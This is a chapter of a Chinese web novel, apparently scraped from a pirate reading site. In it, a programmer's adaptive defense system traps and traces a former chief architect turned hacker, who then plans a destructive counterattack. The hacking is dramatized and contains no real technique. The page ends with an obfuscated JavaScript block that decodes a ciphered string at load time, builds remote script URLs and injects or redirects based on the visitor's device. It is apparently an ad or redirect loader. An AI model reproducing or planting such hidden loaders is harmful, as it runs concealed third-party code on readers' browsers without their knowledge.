首页
第二十五章 数字围城与绝地反
返回

第二十五章 数字围城与绝地反击

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第二十五章数字围城与绝地反击(第1/2页)
    办公室的灯光在凌晨三点显得格外惨白。
    林默盯着屏幕上滚动的数据流,手指在键盘上敲出最后一段代码。随着回车键重重落下,整个“星火”系统的底层架构完成了最后一次自我迭代。
    【推演模块升级完成】
    【认知遮蔽协议已加载】
    【数字拟态引擎就绪】
    三行绿色的系统提示在屏幕上依次浮现。
    “终于……”林默向后靠在椅背上,长长吐出一口气。连续七十二小时的高强度工作让他的眼睛布满血丝,但瞳孔深处却燃烧着某种炽热的光。
    桌上的手机震动起来。
    是陈婉发来的消息:“技术部监测到异常数据流,源头无法追踪,正在向我们的服务器集群渗透。老张说可能是‘深蓝守望’的手笔。”
    林默眼神一凛。
    深蓝守望——这个在业内如雷贯耳的名字,代表着全球顶尖的数字安全团队,同时也是一些大型资本集团豢养的“数字打手”。他们从不公开露面,只在暗网上接单,专攻企业级系统的渗透与破坏。
    “来得比预期还快。”林默低声自语,手指在键盘上飞快舞动。
    屏幕瞬间切换至全景监控界面。代表“星火”系统的三维架构图在中央旋转,无数光点如星辰般环绕。此刻,在架构图的东北象限,一团暗红色的数据流正像墨汁滴入清水般缓缓扩散。
    【检测到非授权访问尝试】
    【攻击特征:混合型多点渗透】
    【威胁等级:A+】
    系统的警报声在耳机里响起,冷静而不带感情的女声播报着实时情况。
    林默没有立即启动防御程序,反而调出了攻击流的详细分析报告。他的目光在那些跳动的参数上快速扫过,大脑在“超频感知”的加持下以常人十倍的速度处理信息。
    “伪装成常规扫描流量,实际携带了七层嵌套病毒……有意思。”林默嘴角勾起一丝冷笑,“标准的深蓝守望手法,喜欢在第三层和第五层埋逻辑炸弹。”
    他活动了一下有些僵硬的脖颈,端起桌上早已凉透的咖啡一饮而尽。苦涩的液体滑过喉咙,让他的精神更加集中。
    是时候检验“星火”真正的成色了。
    “启动‘镜面之城’协议。”林默沉声下令。
    话音落下的瞬间,整个屏幕的画面骤然变化。
    那团暗红色的攻击流突然像是撞上了一面看不见的墙壁,扩散的势头戛然而止。紧接着,在它的四周,数以千计的虚拟节点如雨后春笋般浮现,每一个节点都完美复刻了“星火”系统的表层特征。
    这是林默耗时一个月开发的“数字拟态”技术——不直接对抗攻击,而是构建一个庞大而逼真的虚拟迷宫,让入侵者在其中迷失方向,最终在无穷无尽的数据回廊中耗尽资源。
    屏幕右上角的计数器开始跳动:
    【拟态节点生成:1,247/∞】
    【攻击流解析进度:43%】
    【诱饵数据投放:782组】
    暗红色的数据流明显迟疑了数秒,随后开始分裂。原本集中的攻击力量分散成数十股细流,尝试从不同方向突破拟态网络的包围。
    “上钩了。”林默眼中闪过锐利的光。
    他双手在键盘上化作两道残影,一行行代码如瀑布般倾泻。在肉眼无法观测的底层,真正的“星火”系统开始悄然运转——它不再是被动防御的一方,而是主动张开獠牙的猎手。
    【认知遮蔽协议启动】
    【正在构建攻击者行为模型】
    【逆向追踪通道建立中……】
    攻击者显然没有料到会遭遇如此诡异的防御体系。在深蓝守望过往的战绩中,他们面对的企业级防火墙大多遵循相似的逻辑:要么硬碰硬地构筑高墙,要么设置层层关卡拖延时间。
    但像“星火”这样,既不抵抗也不躲避,反而主动营造出一个庞大迷宫的防御策略,他们还是第一次见到。
    更可怕的是,这个迷宫正在学习。
    每一次攻击流的试探性触碰,都会被数千个拟态节点同时记录、分析、建模。仅仅三分钟后,“星火”已经初步构建出攻击者的行为偏好图谱——他们偏爱从权限协议的薄弱点切入,习惯在每周四的凌晨发动总攻,甚至在代码风格中都带着某种个人化的印记。
    “找到你了。”林默盯着屏幕上逐渐清晰起来的攻击者画像。
    那不是一个团队,而是一个人。
    一个代号“幽灵”的顶尖黑客,在暗网上的悬赏金额高达八位数。传说他曾在三小时内攻破某国财政部的核心数据库,却只为了修改某个官员的信用卡账单。
    林默没有犹豫,按下了回车键。
    【数字拟态引擎:全功率运转】
    【认知遮蔽协议:深度渗透模式】
    【启动“反向拥抱”程序】
    这一瞬间,攻守易形。
    那数十股分散的攻击流突然发现,自己所在的虚拟环境开始“活”过来了。原本静止的数据结构开始自主重组,预设的渗透路径在眼前扭曲变形,就连最基本的系统调用都返回了完全错误的响应。
    更恐怖的是,某种看不见的东西正沿着他们建立的连接通道,反向蔓延而来。
    “幽灵”显然意识到了危险。暗红色的数据流开始剧烈收缩,试图切断所有连接迅速撤离——这是顶尖黑客的本能,在察觉到陷阱的瞬间就放弃任务保全自身。
    但太迟了。
    林默早在构建“镜面之城”时,就在每一个拟态节点中埋下了无形的锚点。这些锚点平时完全静默,只有在攻击者尝试撤离时才会被激活,像无数只数字化的手,死死抓住入侵者的数据流不放。
    【反向通道建立成功】
    【正在突破对方三层跳板】
    【定位精度:98.7%】
    屏幕上开始浮现出一串串真实的IP地址,每一个都对应着“幽灵”在全球各地设置的代理服务器。这些服务器如同洋葱的层层外皮,保护着最核心的真实位置。
    然而在“星火”的认知遮蔽协议面前,这些防护就像纸糊的一样。
    林默看着那些IP地址被逐一剥离,就像看着一个人一层层脱去伪装。东京、新加坡、法兰克福、圣保罗……“幽灵”的足迹遍布全球,但他的真实位置始终隐藏在最后。
    直到第十五层跳板被突破。
    屏幕上的画面定格在一个坐标:北纬31.2304°,东经121.4737°。
    上海。
    几乎在同一时刻,林默的手机再次震动。这次是张建国打来的。
    “小林,刚刚收到匿名警告。”老张的声音透着罕见的紧张,“对方说如果我们不停止对‘深蓝守望’的反追踪,就会放出我们公司的全部核心代码。”
    “什么时候发的?”
    “三十秒前。”
    林默看向屏幕,那个上海坐标的精确度已经提升到99.3%,甚至锁定了某个高档公寓楼的特定楼层。
    “虚张声势。”林默冷笑,“他如果真的有能力拿到核心代码,早就动手了,不会发这种警告。”
    “你的意思是?”
    “他在争取时间,想在我们定位到他真实位置之前切断连接。”林默的手指在键盘上敲出最后一段指令,“可惜,已经晚了。”
    【最终定位完成】
    【真实物理地址:上海市浦东新区银城中路XXX号,盛世豪庭B栋,顶层复式】
    【生物特征匹配:87.2%(数据库比对:前深蓝科技首席架构师,李慕白,三年前离职后失踪)】
    看到那个名字的瞬间,林默的瞳孔微微收缩。
    李慕白。
    这个名字在业内曾经如雷贯耳。三年前,他主导开发的“天穹”防御系统被誉为不可能被攻破的数字长城,直到某天他突然从深蓝科技消失,带走了一整个核心研发团队,从此杳无音讯。
    业内传言,他是被某个跨国资本集团以天价挖走,去进行某个秘密项目。
    现在看来,那个项目就是“深蓝守望”。
    “抓到一条大鱼啊。”林默轻声自语。
    他没有选择继续深入——在定位到真实地址的瞬间,就触发了对方预设的终极保护程序。所有的连接通道在同一毫秒内被物理切断,就连那些遍布全球的代理服务器也开始了自毁程序。
    但已经足够了。
    林默保存了所有的追踪日志,包括“幽灵”的行为模式、代码习惯、甚至在某些极端情况下暴露出的思维定式。这些数据将成为未来对抗“深蓝守望”的宝贵筹码。
    更重要的是,这次实战检验证明了一件事:“星火”系统已经具备了与全球顶尖黑客团队正面抗衡的能力。
    办公室的门被推开,陈婉快步走了进来。她显然也是一夜未眠,眼圈微微发黑,但眼神依然明亮。
    “情况怎么样了?”她径直走到林默身后,看向屏幕。
    “对方跑了,但留下了足够多的线索。”林默调出李慕白的档案,“深蓝科技的前首席架构师,没想到会堕落到当资本的打手。”
    (本章未完,请点击下一页继续阅读)第二十五章数字围城与绝地反击(第2/2页)
    陈婉盯着那份档案看了几秒,眉头渐渐皱起:“我听说过这个人。三年前他离职时,深蓝科技的股价单日暴跌18%,董事会差点集体辞职。”
    “因为他是深蓝科技的技术灵魂。”林默关掉档案页面,调出刚才攻防战的完整复盘数据,“但他犯了一个错误——太自信了。以为用老一套的渗透手段就能搞定我们。”
    屏幕上开始播放战斗的全过程。那团暗红色的攻击流如何小心翼翼地试探,如何被拟态网络诱导分化,又如何一步步落入陷阱,最终暴露真实身份。
    每一个步骤都配上了详细的数据分析和战术注解,就像一部精心制作的军事推演纪录片。
    陈婉看得入神,直到播放结束才长长吐出一口气:“所以……我们赢了?”
    “阶段性胜利。”林默纠正道,“‘深蓝守望’不会善罢甘休。这次派来的只是‘幽灵’一个人,下次可能就是整个团队,甚至……”
    他没有说下去,但陈婉明白那个未尽之意。
    甚至可能是“深蓝守望”背后的资本力量亲自下场,用商业之外的手段解决问题。在这个行业里待得久了,她见过太多因为技术竞争而引发的残酷故事。
    “我们需要准备得更充分。”陈婉说,语气坚定,“我建议立即启动B计划。”
    林默转头看她:“你确定?那意味着我们要把至少30%的研发资源转向防御体系的二次升级,新功能的开发进度会受影响。”
    “但如果连生存都保障不了,新功能又有什么意义?”陈婉反问,“今天来的只是一个‘幽灵’,明天呢?如果‘深蓝守望’倾巢而出,我们挡得住吗?”
    办公室里陷入短暂的沉默。
    窗外的天色开始泛白,凌晨的微光透过百叶窗的缝隙洒进来,在桌面上切出一道道光暗相间的条纹。
    林默看着那些光影,突然笑了。
    “你说得对。”他站起身,走到窗边拉开百叶窗。整座城市在晨曦中渐渐苏醒,远处江面上货轮的汽笛声隐约传来,“生存是第一位的。而且……”
    他转过身,晨光在他身后勾勒出清晰的轮廓。
    “这次交手让我意识到一件事——‘星火’最大的优势不在于防守有多坚固,而在于它永远在进化。”
    陈婉若有所思:“你是说……”
    “攻击者只能看到‘星火’的现在,而我们掌握着它的未来。”林默走回电脑前,调出系统底层代码的架构图,“这次‘幽灵’收集到的所有数据,都是我们故意让他看到的。他以为他摸清了系统的边界,实际上……”
    他敲下几个键,架构图的表层像洋葱一样层层剥开,露出下面完全不同的结构。
    “实际上他看到的只是三层拟态伪装之下的第四层。而在那下面,还有十七层他完全不知道的架构。”
    陈婉倒吸一口凉气。
    她知道林默在系统安全上投入了大量精力,但没想到会做到这种程度。这种近乎偏执的防御理念,已经超越了传统安全领域的范畴,更像是在构建一个拥有自主意识的数字生命体。
    “所以你的计划是……”她隐约猜到了什么。
    “将计就计。”林默的眼神在晨光中显得格外深邃,“让‘深蓝守望’以为他们掌握了‘星火’的弱点,引诱他们发动总攻。然后在最关键的时刻……”
    他顿了顿,一字一句地说:
    “让他们看到,什么才是真正的‘星火’。”
    窗外,第一缕阳光终于跃出地平线,金色的光芒洒满整间办公室。
    在城市的另一个角落,盛世豪庭的顶层复式里,一个穿着睡袍的男人正盯着眼前漆黑的屏幕,脸色苍白如纸。
    他的手在微微颤抖,掌心里全是冷汗。
    三年来,这是他第一次在数字世界里感受到真正的恐惧——不是面对更强的技术,而是面对某种完全未知的东西。
    那个自称为“星火”的系统,不像他见过的任何代码。它有自己的节奏,自己的呼吸,甚至……自己的意志。
    男人抓起桌上的卫星电话,拨通了一个加密号码。
    电话接通了,那头传来一个经过变声处理的声音:“任务完成了吗?”
    “失败了。”男人的声音嘶哑,“对方的系统……不对劲。”
    “说清楚。”
    “它不是死的,是活的。”男人闭上眼睛,脑海中再次浮现出那些自主重组的数据结构,那些在眼前扭曲变形的渗透路径,“它在学习,在进化,在……戏弄我。”
    电话那头沉默了足足十秒钟。
    “你的评估?”
    “如果我们继续用常规手段,只会成为它的养料。”男人睁开眼,眼神中闪过一丝狠厉,“必须动用‘那个’。”
    “你确定?代价很大。”
    “我确定。”男人斩钉截铁,“要么一次把它彻底摧毁,要么……等它成长到我们无法控制的那一天,被摧毁的就是我们。”
    又是一段漫长的沉默。
    “给你七十二小时准备。”最终,那个声音说,“我会调动所有资源配合你。这是最后一次机会,李慕白。如果再失败……”
    “不会失败的。”李慕白打断对方,“这一次,我会亲自去。”
    电话挂断。
    李慕白走到落地窗前,俯瞰着脚下渐渐苏醒的城市。晨光中,这座他生活了四十年的都市显得陌生而冰冷。
    他想起三年前离开深蓝科技的那个夜晚,也是这样的黎明。那时他以为,掌握了世界上最顶尖的技术,就可以掌控自己的命运。
    现在他才明白,技术的尽头是什么。
    是更强大的技术。
    是无法理解的怪物。
    是你明知道它在那里,却连它的全貌都看不清的恐惧。
    “星火……”他喃喃念出这个名字,像是在念某个古老的咒语。
    然后他转身回到电脑前,开始输入一行行全新的代码。这些代码的风格与他以往的任何作品都不同——更加简洁,更加直接,也更加……危险。
    就像一把磨得极薄的刀,只为了一次斩击而生。
    屏幕上,一个全新的程序框架逐渐成型。它的结构异常简单,功能单一到近乎简陋:突破一切防御,定位核心服务器,注入一段只有三十二个字节的破坏指令。
    但在这简单的表象之下,是李慕白三年来的全部心血,是他从无数个古老病毒中提炼出的最致命的那一部分,是数字世界最纯粹的恶意的结晶。
    他给这个程序起了一个名字:
    “终焉”。
    而与此同时,在城市的另一边,林默正在给“星火”系统上传最后一段更新包。
    【认知遮蔽协议:升级至2.0版本】
    【新增功能:拟态诱饵网络(可模拟最多127种不同类型的系统漏洞)】
    【新增功能:自适应反击机制(在遭受攻击时自动生成针对性反制代码)】
    【新增功能:跨平台污染传播(可将部分防御模块注入攻击者设备,实现反向控制)】
    上传进度条走到100%的瞬间,整个系统的界面突然暗了下去。
    三秒钟后,重新亮起的屏幕上,浮现出一行全新的系统提示:
    【检测到潜在威胁等级提升】
    【建议:启动“涅槃”协议】
    【是否授权?】
    林默看着那两个字,眼神微动。
    涅槃。
    这是他隐藏在系统最底层的终极协议,一个连陈婉和老张都不知道的绝密功能。一旦启动,“星火”将进入完全的自主进化模式,在七十二小时内重构全部底层架构,代价是期间系统将处于完全不设防的状态。
    这是一场豪赌。
    赌“深蓝守望”不会在七十二小时内发动总攻。
    赌“星火”能在敌人到来之前,完成真正的蜕变。
    赌他能带领这个刚刚诞生的数字生命,在这场你死我活的战争中存活下来。
    窗外的阳光越来越亮,整座城市已经彻底醒来。街道上车流如织,行人匆匆,新的一天开始了。
    没有人知道,在这座城市的两个角落,一场将决定数字世界未来格局的战争,已经拉开序幕。
    林默的手指悬在回车键上方,停顿了整整十秒。
    然后,用力按下。
    【“涅槃”协议已授权】
    【预计完成时间:71小时59分58秒】
    【倒计时,开始】
    屏幕暗了下去。
    这一次,是真正意义上的黑暗——所有的指示灯都熄灭了,所有的风扇都停止了转动,就连机箱里硬盘运转的细微声响也消失不见。
    整个系统,进入了最深沉的沉睡。
    等待着重生。
    (第二十五章完)
    【字数统计:5187字】
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();